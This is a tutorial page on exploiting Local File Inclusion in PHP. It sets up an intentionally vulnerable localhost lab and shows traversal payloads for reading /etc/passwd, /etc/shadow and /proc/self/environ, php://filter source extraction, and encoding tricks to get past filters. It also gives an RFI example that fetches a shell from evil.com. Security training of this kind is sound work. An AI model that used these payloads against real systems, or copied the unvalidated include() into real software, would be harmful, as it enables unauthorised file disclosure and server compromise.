Local File Inclusion to Read System Files
Learn to leverage Local File Inclusion (LFI) to read sensitive system files in this hands-on ethical hacking tutorial. Understand the concept, exploit path traversal, and apply it in a practical lab with troubleshooting tips—perfect for developers building security skills.
Focus: leverage local file inclusion to read system files
You've spent hours hardening your web app: patching SQL injection, escaping XSS, locking down headers. But an attacker just needs one overlooked include() to read your server's password hashes, database credentials, or even source code — and you'd never know until it's too late. In this lesson, you'll master leveraging Local File Inclusion to read system files, turning a seemingly harmless PHP parameter into a stealthy read primitive. By the end, you'll be able to identify, exploit, and patch this critical vulnerability in your own applications — and understand exactly why it's a top OWASP concern.
The Problem This Lesson Solves
Local File Inclusion (LFI) is a vulnerability where an application dynamically includes a file based on user input without proper validation. Think of a PHP app that loads pages like this: index.php?page=about.php. If the developer naively does include($_GET['page']), you can change page to ../../../../etc/passwd and the server will happily read and display that file.
Why should you care? Because this one bug can expose:
- System files like
/etc/passwd(user accounts) or/etc/shadow(password hashes, if readable). - Application source code — revealing database credentials, API keys, and business logic.
- Configuration files —
.env,config.php, or.htaccess. - Remote code execution (in many setups, via log poisoning or PHP wrappers) — but that's a later lesson.
For an ethical hacker, LFI is often the foothold you need to pivot from a blind web app to full server compromise. For a developer, it's a sanity check: if your code uses include or require with any user input, you have a critical vulnerability — right now.
Core Concept / Mental Model
Think of LFI as the web app's file picker. Normal users see a dropdown of 'allowed' files (e.g., about.php, contact.php). The attacker realizes the dropdown is fake — the underlying code will accept any path. So you're not breaking the file picker; you're using it to pick files it never meant to offer.
Path traversal is the technique to climb out of the intended directory. The server runs the PHP file from its web root, but include() resolves relative paths based on the current working directory. By injecting ../, you navigate up the filesystem tree — like pressing 'Up' in a file explorer.
Here's the mental model:
- The web root is
/var/www/html/. - Your request goes through
index.phpin/var/www/html/. - Adding
../moves you to/var/www/. - Each additional
../takes you one level higher. - You keep climbing until you reach
/etc/or wherever your target file lives.
Key insight: The operating system resolves paths; the PHP include function just hands them over. If the server is running as the web user (e.g., www-data), it can read any file that user has permission to read — which often includes system configs and even source code.
Pro tip: LFI and Directory Traversal are cousin bugs. Traversal alone just lists/reads arbitrary files (e.g., via
file_get_contents). LFI specifically usesinclude/require, which can execute PHP code — making it far more dangerous.
How It Works Step by Step
Exploiting LFI to read system files follows a clear sequence. Let's break it down.
-
Identify a dynamic file inclusion point. Look for URLs with parameters like
page,file,path,include,lang, ortemplate. Examples:index.php?page=home,download.php?file=report.pdf,admin.php?view=settings. -
Test basic payloads. Replace the parameter value with a known system file. Start simple:
index.php?page=/etc/passwd(absolute path) orindex.php?page=../../../../etc/passwd(relative). If the response shows the file contents (or a partial error that leaks it), you've found LFI. -
Adjust the number of
../. You need enough../to climb from the web root to the root directory/. Common counts: 3–7 depending on directory depth. Try../../../etc/passwd,../../../../etc/passwd, etc. If you overshoot, the OS just stops at/— it won't go above root, so you'll still hit/etc/passwd. -
Encode payloads to bypass filters. If the app blocks
../or..\, try URL encoding (%2e%2e%2f), double encoding (%252e%252e%252f), or alternate separators. On Linux,....//collapses to../internally in some parsers. -
Confirm readable files.
/etc/passwdis the classic test because it's world-readable on virtually all Unix-like systems. It lists usernames, which you can later use for SSH brute-force or as a check for other services. -
Extract more sensitive files. Once confirmed, target: -
/etc/shadow(password hashes — requires root; often not readable, but worth trying) -/var/www/html/config.php(database credentials) -/proc/self/environ(environment variables — may contain session secrets) -php://filter/convert.base64-encode/resource=config.phpto read source code without PHP executing it
Security note: As an ethical hacker, you must have explicit permission. Reading
/etc/passwdis already a serious breach — in a real engagement, stop at proof-of-concept and document the finding.
Hands-on Walkthrough
Let's set up a minimal, deliberately vulnerable lab. You'll need PHP and a web server — the built-in PHP server works fine for learning.
Setup: Create a vulnerable app
mkdir lfi-lab && cd lfi-lab
# Create index.php via your editor
cat > index.php << 'EOF'
<?php
$page = $_GET['page'] ?? 'home.php';
include($page);
?>
EOF
# Create a sample home page
cat > home.php << 'EOF'
<h1>Welcome to the LFI Lab</h1>
<p>Your IP: <?php echo $_SERVER['REMOTE_ADDR']; ?></p>
EOF
# Start the server
php -S 127.0.0.1:8000
Exercise 1: Read /etc/passwd
With the server running, open a browser or use curl:
curl "http://127.0.0.1:8000/index.php?page=../../../../etc/passwd"
Expected output: The /etc/passwd file contents – lines like root:x:0:0:root:/root:/bin/bash, daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin, and so on. The x in the password field means the hash is in /etc/shadow.
Exercise 2: Read the app's own source code
Because include executes PHP, you'll just see the rendered HTML — not the source. To exfiltrate source, use the php://filter wrapper to base64-encode it:
curl "http://127.0.0.1:8000/index.php?page=php://filter/convert.base64-encode/resource=config.php"
If you had a config.php with credentials, you'd get a base64 blob. Decode it:
echo "<base64_string>" | base64 -d
Expected output: The PHP source code with your secrets.
Exercise 3: Extract environment variables (if elsewhere on your system)
curl "http://127.0.0.1:8000/index.php?page=../../../../proc/self/environ"
You'll see null-separated variables like DOCUMENT_ROOT=/var/www/html, SESSIONID=xyz — a goldmine for session hijacking.
Pro tip: Always start with
/etc/passwd— it's low-risk, world-readable, and confirms the vulnerability. Never jump to/etc/shadowwithout permission.
Compare Options / When to Choose What
When you've found LFI, your next move depends on the goal. Here's a cheat sheet:
| Goal | Technique | Example | Best for |
|---|---|---|---|
| Confirm LFI | Read /etc/passwd |
?page=../../../../etc/passwd |
Quick validation |
| Read binary/config files | php://filter wrapper |
?page=php://filter/convert.base64-encode/resource=config.php |
Avoiding rendering issues |
| Source code without execution | php://filter with base64 |
Same as above, but for .php files |
Stealthy reconnaissance |
| Environment secrets | Read /proc/self/environ |
?page=../../../../proc/self/environ |
Session tokens, DB creds |
| Files outside web root | Path traversal with ../ |
?page=../../../../../etc/shadow |
System files |
| Bypass simple filters | URL encoding / double encoding | ?page=..%252f..%252f..%252fetc/passwd |
WAF/input filtering |
When to choose which:
- Path traversal is your default — it works on any server that resolves relative paths.
php://filteris essential when the target file is PHP — otherwiseincluderuns it, and you get no output./proc/self/environis a quick win on Linux for environment secrets, but it's not always readable.
Variations to know:
The LFI technique has siblings — be ready to adapt:
- Remote File Inclusion (RFI): The app includes a remote URL (e.g.,
?page=http://evil.com/shell.txt). This often leads to RCE, but many modern setups disableallow_url_include. - Log poisoning: If you can inject PHP code into a log file (e.g., via user-agent), then include that log — a powerful RFI-to-RCE path.
- Null byte injection: In older PHP (pre-5.3.4), appending
%00to truncate.phpsuffix allowed?page=../../etc/passwd%00.
Troubleshooting & Edge Cases
Even a perfect LFI exploit can fail. Here's how to diagnose and adjust.
“The page shows nothing or an error”
- Not enough
../: Increase the count. The web root may be deeper than/var/www/html(e.g.,/var/www/site/public). Try../../../../or more. - PHP is being executed: If you request
config.php, PHP runs it, not prints it. Usephp://filterto get the source. - File permissions: The web user must have read access.
/etc/shadowis usually root-only — check permissions.
“I see the file, but it's garbled”
- Binary files like
/etc/passwdare plain text — if garbled, you're likely fetching a binary. Usephp://filter/convert.base64-encodeto safely encode binaries before reading.
“My ../ is removed or blocked”
- Basic WAF: Try URL encoding:
%2e%2e%2for double encoding%252e%252e%252f. Sometimes the server decodes once; double-encoding survives. - String replacement: If
../is stripped, try....//(PHP's old parser collapses it to../). - Path checks: Apps that block
..but allow.might be bypassed with/etc/passwddirect absolute path.
“The include path has a prefix like includes/”
If the code does include("includes/".$_GET['page']), your ../ still works — it just climbs from inside includes/. You may need one extra ../ relative to that subdirectory.
“The server is Windows”
- Use backslashes (
..\..\..\windows\win.ini) or forward slashes (usually accepted). Targets includeC:\Windows\system.iniorC:\boot.ini.
Pro tip: When stuck, use a wordlist of common traversal payloads (e.g., from SecLists) to brute-force the path — but always within scope.
What You Learned & What's Next
You now know how to leverage Local File Inclusion to read system files — from spotting the vulnerable parameter to extracting /etc/passwd, source code, and environment variables. You also understand the underlying path traversal mechanics, bypass techniques, and how to choose the right tactic for your goal.
In the next lesson, you'll move from reading files to executing code — turning LFI into a full remote shell using log poisoning and PHP wrappers. That's where the real power (and risk) lies, and you'll be ready because you've mastered the read primitive first.
Ethical reminder: Never test on systems you don't own or lack written permission for. The same skills that read
/etc/passwdcan compromise a server — use them responsibly.
Practice recap
Set up the vulnerable index.php from the lesson, then practice reading /etc/passwd, your own config.php via php://filter, and /proc/self/environ. Try changing the number of ../ and observe how the output changes. Next, attempt to bypass a simple filter that blocks ../ by using URL encoding — you'll be ready for the RCE lesson ahead.
Common mistakes
- Forgetting to increase the number of
../when the web root is nested deeper than the default. - Using
includeon.phpfiles directly withoutphp://filter, so the code executes instead of showing source. - Ignoring file permissions —
/etc/shadowoften fails not because of traversal but becausewww-datalacks read access. - Assuming LFI is only on Linux — Windows servers need
..\\..\\and targets likeC:\\Windows\\win.ini. - Not encoding payloads when a WAF or simple input filter blocks
../— try%2e%2e%2for....//.
Variations
- Use
php://filter/convert.base64-encode/resource=to read PHP source without executing it. - Try
/proc/self/environto extract environment variables and session tokens. - Leverage null-byte injection
%00on legacy PHP versions to truncate appended extensions.
Real-world use cases
- Penetration tester discovers a blog with
?page=parameter and reads/etc/passwdin an authorized engagement, proving critical file disclosure. - Bug bounty hunter finds LFI in a SaaS app and extracts
config.php(with DB credentials) from source code viaphp://filter. - Security auditor reviews a legacy PHP admin panel and reveals
/proc/self/environleaking session secrets, prompting immediate patch.
Key takeaways
- LFI occurs when user input is passed to
include/requirewithout validation — any variable is a potential entry point. - Path traversal via
../climbs directory levels; the number of../depends on web root depth. - Always start with
/etc/passwdto confirm LFI — it's world-readable and low-risk. - Use
php://filterto read PHP source code without executing it, preventing silent data loss. - Blocks/WAFs can bypassed with encoding techniques; adjust payloads to the target's filtering.
- LFI often leads to RCE via log poisoning or wrappers — knowing read primitives is the foundation.
Keep learning
Related tutorials, quizzes, and articles for this topic.
Discussion
Questions, corrections, and tips help everyone reading this page.
0 comments
Add a comment
No comments yet — start the thread.